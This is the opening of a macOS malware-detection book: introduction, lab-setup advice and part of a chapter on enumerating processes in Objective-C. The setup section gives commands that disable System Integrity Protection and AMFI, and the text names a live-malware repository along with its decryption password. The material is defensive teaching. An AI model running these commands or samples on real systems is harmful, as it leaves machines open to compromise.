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As renowned Mac security expert Patrick 
Wardle notes in The Art of Mac Malware, 
Volume 2, the substantial and growing 
number of Mac users, both personal and 
enterprise, has created a compelling incentive 
for malware authors to ever more frequently 
target macOS systems. The only effective 
way to counter these constantly evolving and 
increasingly sophisticated threats is through 
learning and applying robust heuristic-based 
detection techniques. 

To that end, Wardle draws upon decades 
of experience to guide you through the 
programmatic implementation of such 
detection techniques. By exploring how to 
leverage macOS’s security-centric frameworks 
(both public and private), diving into key 
elements of behavioral-based detection, and 
highlighting relevant examples of real-life 
malware, Wardle teaches and underscores the 
efficacy of these powerful approaches.

Across 14 in-depth chapters, you’ll learn 
how to:

 Capture critical snapshots of system state to 
reveal the subtle signs of infection

 Enumerate and analyze running processes 
to uncover evidence of malware

 Parse the macOS’s distribution and binary 
file formats to detect malicious anomalies 

 Utilize code signing as an effective tool to 
identify malware and reduce false positives

 Write efficient code that harnesses the full 
potential of Apple’s public and private APIs

 Leverage Apple’s Endpoint Security and 
Network Extension frameworks to build 
real-time monitoring tools

This comprehensive guide provides you with 
the knowledge to develop tools and techniques, 
and to neutralize threats before it’s too late. 
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F O R E W O R D

I first encountered Patrick while writing a book about ARM assembly 
internals and reverse engineering. Apple had recently released its ARM-
based Apple Silicon chip, and Patrick was the first to publicly analyze 
what was then the only known malware sample compiled for it. I could 
tell Patrick was someone who stayed ahead of the curve and embraced 
technological changes, so we started collaborating on a chapter about 
reversing ARM64 macOS malware.

As the macOS ecosystem and architecture evolved, Patrick continued to 
research macOS threats despite architectural changes, consistently contrib-
uting to the malware analysis and detection community. His free resources, 
including timely and comprehensive research on the latest macOS threats, 
the nonprofit conference Objective by the Sea, numerous educational ini-
tiatives, and open source detection tools, have impacted countless people in 
this industry.

Writing security tools for macOS requires both time and resilience. 
We all know how quickly technology can advance, and Apple Silicon intro-
duced changes so profound that they affected the processor architecture. 
Whether you are new to the field or an experienced professional, keeping 
up with changes to the ecosystem you focus on is crucial for success. Patrick 
has come up with novel ways to make threat detection possible on macOS. 
(You know you’re doing something right when major antivirus companies 
attempt to use your detection code commercially, without permission.)
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In The Art of Mac Malware, Volume 2, Patrick tackles proactive defense, 
focusing on specific programming techniques and macOS internals for 
detecting and countering threats. This book’s in-depth approach sets it 
apart: instead of merely analyzing a single malware sample, it describes 
the APIs and techniques necessary to identify infection patterns, automate 
macOS threat detection, and develop custom tools. You’ll learn how to cre-
ate software that identifies infections in real time, moving beyond postmor-
tem analysis.

If you want to study these techniques, you’d better learn from the best—
someone who has built such tools, has battle-tested them in practice, and con-
tinues to adapt to any changes that could render these techniques ineffective.

Maria Markstedter
Founder of Azeria Labs and  

Forbes Person of the Year in Cybersecurity
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We are, unfortunately, living in a golden age 
of Mac malware. Sales of Mac computers 

continue to flourish year over year,1 while 
industry reports predict that Mac will become 

the dominant platform in enterprise environments.2 
As Apple’s share of the global computer market grows, 
Macs have become an ever-more compelling target 
for opportunistic hackers and malware authors. Some 
studies have even found, on average, more threats and 
malware on Mac systems than on Windows ones.3

When it comes to protecting Macs and their users, analyzing malware 
(the topic of The Art of Mac Malware, Volume 1) is only half the battle. 
Detecting malicious code in the first place is the other, perhaps even more 
important, piece. There are many approaches to detecting malicious 
code, each with pros and cons. At one end of the detection spectrum, we 

I N T R O D U C T I O N



xxii   Introduction

can leverage databases of malware signatures. By scanning binaries for 
sequences of malicious bytes, we can efficiently identify known threats. 
However, we fail to detect new malware or variants. This downside is trou-
blesome. To see why, consider the case of the malware known as FruitFly. 
Carefully crafted by a single programmer and deployed in a highly targeted 
manner, it remained undetected for over a decade, as no antivirus program 
contained a signature to detect it. The malware spied on unknowing victims 
using Macs’ mics and webcams, leading to damaging real-life consequences.4

At the other end of the detection spectrum are behavior-based heuristics, 
which focus on a malicious program’s actions or impact on a system. To 
understand this approach, consider the last time you were sick. Perhaps 
your illness started with a runny nose, a headache, a sore throat, or a 
stomachache. While you probably didn’t know exactly what pathogen had 
infected you, your body’s symptoms indicated that you were no longer your 
normal, healthy self. We can use a similar strategy to generically and heuris-
tically detect digital pathogens: by looking for symptoms and anomalies.

Even novel and stealthy malware specimens will produce observable 
events when they interact with a system. Some, such as the spawning of a 
newly persisted unsigned process, may be easy to detect. Others, like the 
surreptitious planting of a trojanized dynamic library or a covert exfiltra-
tion channel, are more subtle. Regardless, if we can programmatically 
detect these behaviors, we should be able to ascertain whether a system is 
infected and, by identifying the responsible process, pinpoint the infection.

This book focuses on heuristic-based approaches, which are the only 
way to combat the sophisticated and never-before-seen threats that are tar-
geting macOS with increasing frequency. We’ll write code capable of detect-
ing anomalies and then pinpoint software that has maliciously infiltrated a 
system. In the process, we’ll dive into the macOS operating system, touch-
ing on topics such as private frameworks, reverse engineering proprietary 
system components, and much more.

Of course, the heuristic-based detection approach has some down-
sides. While it should be able to pinpoint any malicious item on a system, it 
likely won’t be able to identify the specific malware strain. For example, it 
should notice an unauthorized program surreptitiously accessing the mic or 
webcam, but it won’t know whether the responsible process is the malware 
FruitFly. Is this a significant downside? I don’t believe so, as the malware 
responsible for the infection may be unknown anyway, and you can always 
deploy a signature-based detection engine to cover the known basics.

Another challenge is that heuristic-based detections can suffer from 
false positives. For example, malware authors often leverage executable 
packers to obfuscate their malicious creations, but so could legitimate 
software developers. Thus, no heuristic-based detection approach should 
focus on a single heuristic when attempting to classify an item as malicious. 
Instead, the detection should always look for multiple anomalous behaviors 
and leverage approaches that reduce false positives, such as code signing 
information, before flagging something as suspicious or likely malicious. 
If you have the luxury to do so, you could enlist a human to validate any 
flagged items.
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What You’ll Find in This Book
At its core, this book describes how to write code to detect macOS malware. 
It’s broken into three parts.

Just as a doctor performs tests and collects data to make a diagnosis, so 
too must malware detectors. In Part I: Data Collection, we discuss program-
matic methods of collecting the data snapshots essential for detecting symp-
toms of infections. We’ll start simple, by describing methods of enumerating 
and querying running processes on a system. In subsequent chapters, we’ll 
dive into more advanced concepts, such as directly parsing binaries, extract-
ing and validating code signing information, and uncovering persistence by 
interacting with proprietary system components. Where relevant, we’ll show 
snippets of malware as examples. The chapters in this part are as follows:

Chapter 1: Examining Processes    Because the majority of Mac malware 
specimens run as stand-alone processes, examining various information 
and metadata about each running process is a great place to start when 
seeking to uncover infections.

Chapter 2: Parsing Binaries    Backing any process on a macOS system 
is a universal or Mach-O binary. In this chapter, we show how to parse 
these binaries to reveal anomalies.

Chapter 3: Code Signing    Any heuristic-based detection approach is 
prone to false positives. By extracting and validating code signing infor-
mation, as we do in this chapter, we can reduce false positives while 
increasing the effectiveness of any malware detection tool.

Chapter 4: Network State and Statistics    This chapter describes meth-
ods of programmatically capturing snapshots of a host’s network state 
and network statistics. Most Mac malware will access the network, and 
these snapshots should reveal this unauthorized network access.

Chapter 5: Persistence    Malware will persist in order to survive a sys-
tem reboot. Persistence causes modifications to the host, and this chap-
ter highlights exactly how to programmatically detect these changes.

While Part I covers methods of obtaining snapshots of data, Part II: 
System Monitoring covers continuous approaches to monitoring a system 
for symptoms of an infection. For example, we’ll discuss frameworks and 
application programming interfaces (APIs) that allow us to monitor the sys-
tem logs and create powerful file, process, and network monitors. This part 
includes the following chapters:

Chapter 6: Log Monitoring    The system, or universal, log contains a 
myriad of data that can reveal most infections. Apple doesn’t provide 
public APIs to ingest streaming log messages, so this chapter delves into 
the private frameworks and APIs you can use in your own tools.

Chapter 7: Network Monitoring    This chapter is dedicated to Apple’s 
NetworkExtension framework, whose APIs provide the capabilities for 
building powerful network monitoring tools that can uncover any mal-
ware that uses the host’s network.
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Chapter 8: Endpoint Security    If you’re building comprehensive mal-
ware detection tools on macOS, you should make use of the powerful 
Endpoint Security framework and its APIs. This chapter introduces 
Endpoint Security.

Chapter 9: Muting and Authorization Events    This chapter covers 
more advanced Endpoint Security topics, including authorization 
events, muting, and more.

In 2015, I founded Objective-See, which is now a nonprofit organiza-
tion that makes free, open source security tools for macOS. Part III: Tool 
Development delves into several of Objective-See’s most popular tools. 
Capable of generically detecting a wide range of macOS malware, these 
tools leverage many of the approaches covered in Parts I and II. Once you 
understand their design and internals, you’ll be well on the way to building 
your own malware detection tools. We’ll end the book by pitting these tools 
against a wide range of sophisticated macOS malware. For each specimen, 
we’ll discuss its infection vector, methods of persistence, and capabilities 
and then highlight how the tools can uncover these symptoms. The chap-
ters in this part are as follows:

Chapter 10: Persistence Enumerator    Who’s there? Most Mac malware 
persists to survive system reboots, so a tool capable of enumerating all 
persistent software should reveal any persistently installed malware. 
This chapter covers exactly such a tool: KnockKnock.

Chapter 11: Persistence Monitor    Inspired by its sibling KnockKnock, 
BlockBlock leverages Endpoint Security to detect malware by monitor-
ing persistence events in real time.

Chapter 12: Mic and Webcam Monitor    Some of the most insidious 
Mac malware specimens spy on victims via the webcam or listen to them 
via the mic. This chapter focuses on OverSight, a tool that leverages 
core audio and media APIs as well as the logging subsystem to detect 
malware accessing these devices.

Chapter 13: DNS Monitor    Malware attempting to connect to remote 
domains—for example, for tasking or to exfiltrate data—will generate 
DNS traffic. This chapter shows how DNSMonitor leverages Apple’s 
NetworkExtension framework to monitor and block any unauthorized 
DNS traffic on a macOS host.

Chapter 14: Case Studies    It’s one thing to make claims about the 
effectiveness of security tools and quite another to back them up. 
In this final chapter, we pit our security tools against several notably 
sophisticated and stealthy malware specimens to see how they stack up.

Who Should Read This Book?
You’ll get the most out of this book if you understand cybersecurity fun-
damentals, malware basics, and programming. These aren’t prerequisites, 
however, and I’ll explain all important concepts. You’ll also find it helpful 
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to read my other book, The Art of Mac Malware, Volume 1 (No Starch Press, 
2022), which will introduce you to foundational macOS malware topics we 
won’t cover again here. Beyond these considerations, I wrote this book with 
particular readers in mind:

Students    As an undergraduate studying computer science, I had a keen 
interest in understanding and detecting computer viruses and yearned 
for a book such as this one. If you’re working toward a technical degree 
and would like to learn more about malware detection approaches, per-
haps to enhance or complement your studies, this book is for you.

Malware analysts    My career as a malware analyst began at the National 
Security Agency, where I studied Windows-based malware and exploits 
that targeted US military systems. When I left the agency, I began 
studying macOS threats but encountered a lack of resources on the 
topic. This book aims to fill this gap. If you’re a Windows or Linux mal-
ware analyst (or even a Mac malware analyst hoping to grow your skills), 
this book should provide you with insight into how to detect threats tar-
geting macOS systems.

Mac system administrators    The days of the homogeneous Windows-
based enterprise have largely disappeared. Today, Macs in the enterprise 
are commonplace, giving rise to dedicated Mac system administrators 
and (unfortunately) malware authors focused on enterprise systems 
 running macOS. If you’re a Mac system administrator, it’s imperative 
that you understand how to detect the threats targeting the systems you 
seek to defend. This book aims to provide such an understanding (and 
much more).

Developers    At its core, this book presents approaches to writing code 
capable of generically detecting Mac malware. If your job involves writ-
ing security-focused tools for macOS, this book will be useful to you.

Even if you’re not a programmer, you may find a book on the program-
matic detection of malware to be worth a read. Detecting malware involves 
much more than just writing code. We’ll delve into macOS internals, touch 
on reverse engineering topics, and discuss various malware specimens, 
including their capabilities and functionality.

The Code and Malware Specimens
You can access all code samples, malware specimens, and tools discussed in 
this book at https://github.com/objective-see. The TAOMM repository organizes 
code samples by chapter, and the Malware repository contains an encrypted 
sample of each malware specimen. Use the password infect3d to decrypt the 
samples.

W A R N I N G  The code in the TAOMM repository is provided largely for illustrative purposes, pri-
oritizing brevity over other aspects such as comprehensive error checking. As such, 
it should not be used verbatim, for example, in deployed security products. Keep in 
mind also that the collection in the Malware repository contains live malware. Please 
don’t infect yourself! (Or if you do, at least don’t blame me.)

https://github.com/objective-see
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The book aims to present language-agnostic algorithms and approaches, 
but the majority of the code herein is written in Objective-C. I chose not 
to use Swift, a great language for writing Apple apps, because it poses 
specific challenges in the context of security tools. For example, the book 
often leverages private frameworks, which are easy to access in Objective-C 
but would require additional components, such as bridging headers, in 
Swift. Similarly, interfacing with frameworks that expose interfaces and 
APIs in C, such as the all-important Endpoint Security, is straightforward 
in Objective-C. Accessing these interfaces in Swift often involves a mad-
dening amount of type-casting and unwrapping of OpaquePointer and 
UnsafeMutablePointer values.

I wrote all code on macOS 14 and tested it on recent versions of macOS, 
including 13, 14, and 15. Where relevant, I’ll discuss coding approaches 
that diverge across versions (for example, when an older API has been 
replaced by a more modern counterpart). The discussion will allow you to 
write tools compatible with multiple versions of the operating system and 
ensure that you continue to support older versions. To discover any new 
techniques that become available as the operating system updates in the 
future, check out the Objective-See GitHub repositories for up-to-date ver-
sions of my open source security tools, which implement the majority of the 
code discussed in this book.

To help you piece together disparate parts of the larger programs pre-
sented over the course of each chapter, I’ve numbered the book’s code list-
ings using sequential listing numbers (such as Listing 1-1, Listing 1-2, and 
so on). Malware samples and command line examples won’t have listing 
numbers.

Development Environment
Before you begin, I recommend installing Xcode, Apple’s integrated devel-
opment environment (IDE) and the de facto product for creating security 
tools on macOS. Available for free on the official Mac App Store, Xcode 
offers a user-friendly platform for developing software. I used Xcode to write 
and compile all code samples and tools in this book, so I suggest having a 
basic understanding of this tool. While I don’t provide a detailed guide on 
Xcode usage here, many excellent free tutorials are available online.

Code Signing Requirements
Speaking of compiling code: if you’ve dabbled in software development on 
macOS, you’ve likely run into challenges related to Apple’s code signing 
requirements or, worse, entitlements. For security reasons, Apple checks a 
program’s code signing information before allowing it to run. (We discuss 
code signing in more detail in Chapter 3.)

Luckily, macOS allows code to be signed in an ad hoc manner, mean-
ing you don’t have to shell out $99 to Apple for a Developer ID if you’re 
developing security tools that will run locally. In Xcode, under Signing and 
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Capabilities, check the Automatically Manage Signing option and make 
sure the Signing Certificate is set to Sign to Run Locally.

Entitlements
Tools that leverage system extensions or Endpoint Security require special 
entitlements, such as com.apple.developer.endpoint-security.client, to run. In 
Part III, we cover how to obtain these entitlements from Apple to build 
distributable tools. Obtaining entitlements requires a paid Developer ID 
account, however.

For local development and testing, you can work around entitlement 
requirements by disabling System Integrity Protection (SIP).5 Apple pro-
vides documentation on how to disable SIP, which involves booting your 
Mac into Recovery Mode to run the command csrutil disable.6

You’ll also have to disable Apple Mobile File Integrity (AMFI); other-
wise, entitled binaries that aren’t wholly signed and notarized won’t run. 
With SIP disabled, you can disable AMFI by executing the following, with 
root privileges, from the terminal:

nvram boot-args="amfi_get_out_of_my_way=1"

Use nvram -p to confirm the boot arguments were set correctly. Finally, 
reboot.

It’s worth stressing that disabling these macOS security mechanisms 
greatly reduces the security of the system. As such, it’s best to do so only 
within a virtual machine or on a dedicated development test machine. To 
re-enable SIP in Recovery Mode, run csrutil enable, and to re-enable AMFI, 
delete the boot arguments by running nvram -d boot-args.

Safely Analyzing Malware
This book demonstrates many programmatic techniques for detecting Mac 
malware. In the book’s final chapter, you can even follow along as we pit 
our tools against various malware specimens. If you plan to run the code 
snippets in the book or build and test your own tools against this malware, 
be sure to handle the specimens with the utmost care.

One approach to malware analysis is to use a stand-alone computer as 
a dedicated analysis machine. You should set up this machine in the most 
minimal of ways, with services such as file sharing disabled. In terms of 
networking, the majority of malware will require internet access to fully 
function (for example, to communicate with a command-and-control 
server for tasking), so you should connect your machine to the network in 
some manner. At a minimum, I recommend routing the network traffic 
through a VPN to hide your location from any attacker who might be on 
the other end.

However, leveraging a stand-alone computer for your analysis has down-
sides, including cost and complexity. The latter becomes especially appar-
ent if you want to revert the analysis system to a clean baseline state (for 
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example, to rerun a sample or when analyzing a new specimen). Although 
you could reinstall the operating system or, if using Apple File System 
(APFS), return to a baseline snapshot, these are both time-consuming 
endeavors.

To address these drawbacks, you can instead leverage a virtual machine 
for your analysis system. Various companies, such as VMware and Parallels, 
offer virtualized options for macOS systems. The idea is simple: virtual-
ize a new instance of the operating system that you can isolate from your 
underlying environment and, most notably, revert to its original state at the 
click of a button. To install a new virtual machine, follow the instructions 
provided by each vendor. This typically involves downloading an operating 
system installer or updater, dragging and dropping it into the virtualization 
program, and then clicking through the remaining setup.

N O T E  Unfortunately, Apple Silicon systems have limitations when it comes to virtualizing 
macOS. Vendors such as Parallels provide prebuilt virtual machines compatible with 
Apple Silicon but don’t yet support features such as snapshots.

Before performing any analysis, make sure to disable any sharing 
between the virtual machine and the base system. For example, it would be 
rather unfortunate to run a ransomware sample only to find that it has also 
encrypted any shared files on your host system. Virtual machines also offer 
options for networking, such as host-only and bridged. The former will 
exclusively allow network connections with the host, which may be useful in 
various analysis situations, such as when you’re setting up a local command-
and-control server.

I noted that the ability to revert a virtual machine to its original state 
can greatly speed up malware analysis by allowing you to return to earlier 
stages in the analysis process. You should always take a snapshot before you 
begin your analysis so you can bring the virtual machine back to a known 
clean slate when you’re done. During your analysis session, you should also 
make judicious use of snapshots. For example, take a snapshot immediately 
prior to allowing the malware to execute some core logic. If the malware 
fails to perform the expected action (perhaps because it detected one of 
your analysis tools and prematurely exited), or if your analysis tools failed 
to gather the data required for your analysis, simply revert to the snapshot, 
make any necessary changes to your analysis environment or tools, and 
then allow the malware to re-execute. On dedicated analysis machines or 
virtual machines that don’t support snapshots, APFS snapshots are likely 
your best bet.

The main drawback to the virtual machine analysis approach is that 
malware may contain logic to thwart virtual machines. If the malware can 
successfully detect that it’s being virtualized, it will often exit in an attempt 
to avoid continued analysis. See Chapter 9 of The Art of Mac Malware, 
Volume 1, for approaches to identifying and overcoming this logic.

For more information about setting up an analysis environment, includ-
ing the specific steps for configuring an isolated virtual machine, see Phil 
Stokes’s How to Reverse Malware on macOS Without Getting Infected.7
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Additional Resources
For further reading, I recommend the following resources.

Books
The following list contains some of my favorite books on topics such as 
reverse engineering, macOS internals, and general malware analysis. While 
a few of these books are older, the core reversing and analysis topics should 
remain timeless.

•	 Blue Fox: Arm Assembly Internals and Reverse Engineering by Maria 
Markstedter (Wiley, 2023)

•	 x86 Software Reverse-Engineering, Cracking, and Counter-Measures by 
Stephanie and Christopher Domas (Wiley, 2024)

•	 The macOS/iOS (*OS) Internals trilogy by Jonathan Levin 
(Technologeeks Press, 2017)

•	 The Art of Computer Virus Research and Defense by Péter Ször (Addison-
Wesley Professional, 2005)

•	 Reversing: Secrets of Reverse Engineering by Eldad Eilam (Wiley, 2005)

•	 OS X Incident Response: Scripting and Analysis by Jaron Bradley  
(Syngress, 2016)

Websites
There used to be a dearth of information about Mac malware analysis 
online. Today, the situation has greatly improved. Several websites collect 
information on this topic, and blogs such as my very own on the Objective-
See website are dedicated to Mac security topics. The following is an inex-
haustive list of some of my favorites:

•	 https://papers.put.as: A fairly exhaustive archive of papers and 
presentations on macOS security topics and malware analysis

•	 https://themittenmac.com: The website of the noted macOS security 
researcher and author Jaron Bradley that includes incident response 
tools and threat-hunting knowledge for macOS

•	 https://objective-see.org/blog.html: My blog, which for the last decade has 
published my research and that of fellow security researchers on the 
topics of macOS malware, exploits, and more

Notes
 1. “Worldwide PC Shipments Decline Another 15.0% in the Third Quarter 

of 2022, According to IDC Tracker,” Business Wire, October 9, 2022, 
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PART I
D A T A  C O L L E C T I O N

Malware detection begins with data collection. All mali-
cious code performs actions on an infected system that 
deviate from the norm. Therefore, by collecting suffi-
cient data, you can uncover any infection.

Symptoms of digital pathogens often reflect the malware’s goals or 
capabilities. For example, if a computer is infected with adware, you’ll likely 
see browser subversions or hijacked search pages. In the case of a stealthy 
backdoor, you may observe a listening socket that allows an attacker to 
remotely control the infected system or its unauthorized network traffic. 
And any malware that wants to survive a reboot will have to persist, result-
ing in noticeable filesystem modifications.

In Part I, I discuss how security software could programmatically collect 
data from a macOS system to detect any digital infections, just as a doctor 
might when checking whether a human patient is sick. Most malicious code 
on macOS systems runs as a stand-alone process, so I’ll start this section 
by discussing programmatic methods of querying the system to retrieve a 
snapshot of all running processes. Then we’ll extract information about 
each process, such as their arguments, hierarchies, loaded libraries, and 
much more. If any running process is indeed malware, the information we 
extract here should readily reveal this fact.

Subsequent chapters will bolster our malware detection capabilities by 
illustrating how to extract other types of data, either from specific items 
or from the system as a whole. I’ll discuss code signing by delving into 
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mechanisms and APIs to obtain and validate cryptographic code signing 
signatures. This information can further uncover malware, but equally 
importantly, it also allows us to ignore trusted items in our hunt for mali-
cious code. I’ll also show how to glean important data from Mach-O bina-
ries, the network, and Apple’s proprietary Background Task Management 
database used to manage persistent items.



The overwhelming majority of Mac malware 
executes as stand-alone processes continu-

ously running on infected systems. As a result, 
if you generate a list of running processes, it’s 

more than likely to include any malware present on the 
system. Thus, when you’re trying to programmatically 
detect macOS malware, you should start by examining 
processes. In this chapter, we’ll first discuss various 
methods of enumerating running processes. Then 
we’ll programmatically extract various information and 
metadata about each running process to uncover anom-
alies commonly associated with malware. This informa- 
tion can include the full path, arguments, architecture,  

1
E X A M I N I N G  P R O C E S S E S
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process, hierarchy, code signing information, loaded libraries, open files, and 
much more.

Of course, the fact that a malicious process shows up in a listing doesn’t 
immediately allow you to determine that the process is indeed malicious. 
This is increasingly true as malware authors seek to masquerade their 
malicious creations as benign.

Most of the code snippets presented in this chapter are from the 
 enumerateProcesses project, whose code you can download from this book’s 
GitHub repository. When executed with no arguments, this tool will display 
information about all running processes on your system; when executed 
with a process ID, it retrieves information about the specified process. To 
query a process, the privilege levels of your running code must match or 
exceed those of the target process, so security tools like this one often run 
with root privileges.

Process Enumeration
The easiest way to enumerate all processes on macOS is via libproc APIs 
such as proc_listallpids. As its name suggests, this API provides a list con-
taining the process ID (pid) of each running process. As arguments, it 
takes an output buffer and the size of this buffer. It will populate the buf-
fer with the process IDs of all running processes and return the number of 
running processes.

How will you know how big the output buffer should be? One strategy is 
to first invoke the API with NULL and 0 as arguments. This will cause the func-
tion to return the number of currently running processes, which you can 
then use to allocate a buffer for subsequent calls. However, if a new process is 
spawned in the middle of this action, the API may fail to return its process ID.

Thus, it’s better just to allocate a buffer to hold the maximum number 
of possible running processes. Modern versions of macOS can generally 
hold several thousands of processes, but this number can be higher (or 
lower) depending on the specs of the system. Due to this variability, you’ll 
want to dynamically retrieve this maximum number from the kern.maxproc 
system variable via the sysctlbyname API (Listing 1-1).

#import <libproc.h>
#import <sys/sysctl.h> 

int32_t processesCount = 0;
size_t length = sizeof(processesCount);

sysctlbyname("kern.maxproc", &processesCount, &length, NULL, 0);

Listing 1-1: Dynamically retrieving the maximum number of running processes

Now that we have the maximum number of possible running processes, 
we simply allocate a buffer of this size multiplied by the size of each process 
ID. Then we invoke the proc_listallpids function (Listing 1-2).
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pid_t* pids = calloc((unsigned long)processesCount, sizeof(pid_t));
processesCount = proc_listallpids(pids, processesCount*sizeof(pid_t));

Listing 1-2: Generating a list of process identifiers for running processes

Now we can add print statements and then execute this code:

% ./enumerateProcesses
Found 450 running processes

PIDs: (
    53355,
    53354,
    53348,
    ...
    517,
    515,
    514,
    1,
    0
)

The code should return a list containing the process IDs of all running 
processes, as you can see from this run of the enumerateProcesses project.

Audit Tokens
Although process IDs are used system-wide to identify processes, they 
can be reused once a process exits, leading to a race condition where the 
process ID no longer references the original process. The solution to the 
process ID race condition issue is to use the process’s audit token, a unique 
value that is never reused. In subsequent chapters, you’ll see how macOS 
sometimes directly provides you with an audit token, for example, when a 
process is attempting to connect to a remote XPC endpoint or in a message 
from Endpoint Security. However, you can also obtain a processes audit 
token directly from an arbitrary process.

You’ll find the code to obtain an audit token in a function named 
 getAuditToken in the enumerateProcesses project. Given a process ID, this func-
tion returns its audit token (Listing 1-3).

NSData* getAuditToken(pid_t pid) {
    task_name_t task = {0};
    audit_token_t token = {0};
    mach_msg_type_number_t infoSize = TASK_AUDIT_TOKEN_COUNT;

  1 task_name_for_pid(mach_task_self(), pid, &task);
  2 task_info(task, TASK_AUDIT_TOKEN, (integer_t*)&token, &infoSize);
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  3 return [NSData dataWithBytes:&token length:sizeof(audit_token_t)];
}

Listing 1-3: Obtaining an audit token for a process

First, the function declares required variables, including one of type 
audit_token_t to hold the audit token. It then invokes the task_name_for_pid 
API to obtain a Mach task for the specified process 1. You need this task 
for the call to task_info, which will populate a passed-in variable with the 
process’s audit token 2. Finally, the audit token is converted into a more 
manageable data object 3 and returns it to the caller.1

Of course, a list of process IDs or audit tokens won’t tell you which, if 
any, are malicious. Still, you can now extract a myriad of valuable informa-
tion. The next section starts with an easy one: retrieving the full path for 
each process.

Paths and Names
One simple way to look up the full path for a process from its process ID 
is via the proc_pidpath API. This API takes the ID of the process, an output 
buffer for the path, and the size of the buffer. You can use the constant 
PROC_PIDPATHINFO_MAXSIZE to ensure the buffer is large enough to hold the 
path, as shown in Listing 1-4.

char path[PROC_PIDPATHINFO_MAXSIZE] = {0};
proc_pidpath(pid, path, PROC_PIDPATHINFO_MAXSIZE);

Listing 1-4: Retrieving the path of a process

There are also other ways to obtain the path of a process, some of which 
don’t require a process ID. We’ll cover an alternative approach in Chapter 3, 
as it requires an understanding of various concepts related to code signing.

Once you’ve obtained a process’s path, you can use it to perform vari-
ous checks that can help you determine whether the process is malicious. 
These checks can range from trivial, such as seeing whether the path 
contains hidden components, to more involved (for example, perform-
ing an in-depth analysis of the binary specified in the path). This chapter 
considers hidden path components, while the next chapter dives into full 
binary analysis.

Identifying Hidden Files and Directories
Information from the path can directly reveal anomalies. For example, a path 
containing either a directory or file component that is prefixed with a dot (.)  
will be hidden in the user interface and from various command line tools 
by default. (Of course, there are ways to view hidden items, for example, via 
the ls command executed with the -a flag.) From the malware’s perspective, 
remaining hidden is a good thing. However, this becomes a powerful detec-
tion heuristic, as benign processes are rarely hidden.
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There are many examples of Mac malware executing from hidden 
directories or that are hidden themselves. For example, the cyber-espionage 
implant known as DazzleSpy,2 discovered in early 2022, persistently installs 
itself as a binary named softwareupdate in a hidden directory named .local. In 
a process listing, this directory sticks out like a sore thumb:

% ./enumerateProcesses
Found 450 running processes

(57312):/Applications/Signal.app/Contents/MacOS/Signal
(41461):/Applications/Safari.app/Contents/MacOS/Safari
(40214):/Users/User/.local/softwareupdate
(29853):/System/Applications/Messages.app/Contents/MacOS/Messages
(11242):/System/Library/CoreServices/Dock.app/Contents/MacOS/Dock
...
(304):/usr/libexec/UserEventAgent
(1):/sbin/launchd

Of course, any heuristic-based approach is bound to have false posi-
tives, and you’ll occasionally encounter legitimate software that hides itself. 
For example, my Wacom drawing tablet creates a hidden directory, .Tablet, 
from which it persistently runs various programs.

Obtaining the Paths of Deleted Binaries
On macOS, nothing stops a process from deleting the on-disk binary that 
backs it. Malware authors are aware of this option and may craft a program 
that self-deletes by stealthily removing its binary from the filesystem to hide 
it from file scanners, thus complicating analysis. You can see an example of 
this anomalous behavior in Mac malware such as KeRanger and NukeSped, 
the latter of which was used in the infamous 3CX supply chain attack.3

Let’s take a closer look at KeRanger, ransomware whose sole purpose 
is to encrypt a victim’s files and demand a ransom. As it performs both 
actions in a single execution of the process, it doesn’t need to keep its 
binary around once spawned. If you look at the disassembly of its main 
function, you can see that KeRanger’s first action is to delete itself via a call 
to the unlink API:

int main(int argc, const char* argv[]) {
    ...
    unlink(argv[0]);

If a security tool obtains the process ID of the KeRanger process (per-
haps because the ransomware’s actions triggered a detection heuristic), 
path recovery APIs such as proc_pidpath and SecCodeCopyPath will fail. The first 
of these APIs, which normally returns the length of the process’s path, will 
in this case return zero with errno set to ENOENT, whereas SecCodeCopyPath will 
directly return kPOSIXErrorENOENT. This will tell you that the process’s binary 
has been deleted, which itself is a red flag, as benign processes normally 
don’t self-delete.
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If you still want to recover the path of the now-deleted binary, your 
options are unfortunately rather limited. One approach is to extract the 
path directly from the process’s arguments. We’ll cover this option shortly, 
in “Process Arguments” on page 9. It’s worth noting, however, that once a 
process is launched, there is nothing stopping the process from modifying 
its arguments, including its path. Thus, the recovered path may have been 
surreptitiously modified to no longer point to the self-deleted binary.

Validating Process Names
Malware authors know that their malicious programs will show up in 
Apple’s built-in Activity Monitor, where even a casual user may stumble 
across an infection simply by noticing a strange process name. As such, Mac 
malware often attempts to masquerade as either core macOS components 
or popular third-party software. Let’s illustrate this with two examples.

Uncovered in early 2021, ElectroRAT is a remote access tool (RAT) 
that targets cryptocurrency users.4 It attempts to blend in by naming itself 
.mdworker. On older versions of macOS, you’d often find several legitimate 
instances of Apple’s metadata server worker (mdworker) running. Malware can 
use this same name to avoid arousing suspicion, at least in the casual user.

Luckily, thanks to code signing (discussed briefly later in the chapter 
and in full detail in Chapter 3), you can check that a process’s code signing 
information matches its apparent creator. For example, it is easy to detect 
that ElectroRAT’s .mdworker binary is suspicious. First, it isn’t signed by 
Apple, meaning it wasn’t created by developers in Cupertino. A binary that 
matches the name of a well-known macOS process but doesn’t belong to 
Apple is more than likely malware. Finally, because its name begins with a 
dot, ElectroRAT’s process file is also hidden, providing yet another red flag.

Another example is CoinMiner, a surreptitious cryptocurrency miner 
that leverages the Invisible Internet Project (I2P) for its encrypted com-
munications. The network component that implements the I2P logic is 
named com . adobe . acc . network to mimic Adobe software, which is notorious 
for installing a myriad of daemons. By checking the process’s code signing 
information, you can see that Adobe hasn’t signed the binary.

You may now be wondering how to determine a process’s name. For 
nonapplication processes, such as command line programs or system 
daemons, this name usually corresponds to the file component. You can 
retrieve this component via the lastPathComponent instance property if the 
full path is stored in a string or URL object. The code in Listing 1-5, for 
example, extracts ElectroRAT’s process name, .mdworker, and stores this in 
the variable name.

NSString* path = @"/Users/User/.mdworker";
NSString* name = path.lastPathComponent;

Listing 1-5: Extracting ElectroRAT’s process name

If the process is an application, you can instantiate an NSRunning 
Application object via the runningApplicationWithProcessIdentifier: method. 
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This object will provide, among other things, the path to its application 
bundle in the bundleURL instance property. The bundle contains a wealth of 
information, but what’s most relevant here is the app’s name. Listing 1-6, 
from the getProcessName function in the enumerateProcesses project, illustrates 
how to do this for a given process ID.

NSRunningApplication* application =
[NSRunningApplication runningApplicationWithProcessIdentifier:pid];
if(nil != application) {
    NSBundle* bundle = [NSBundle bundleWithURL:application.bundleURL];
    NSString* name = bundle . infoDictionary[@"CFBundleName"];
}

Listing 1-6: Extracting an application name

From the NSRunningApplication object, we create an NSBundle object and then 
extract the application’s name from the bundle’s infoDictionary instance prop-
erty. If the process isn’t an application, the NSRunning Application instantiation 
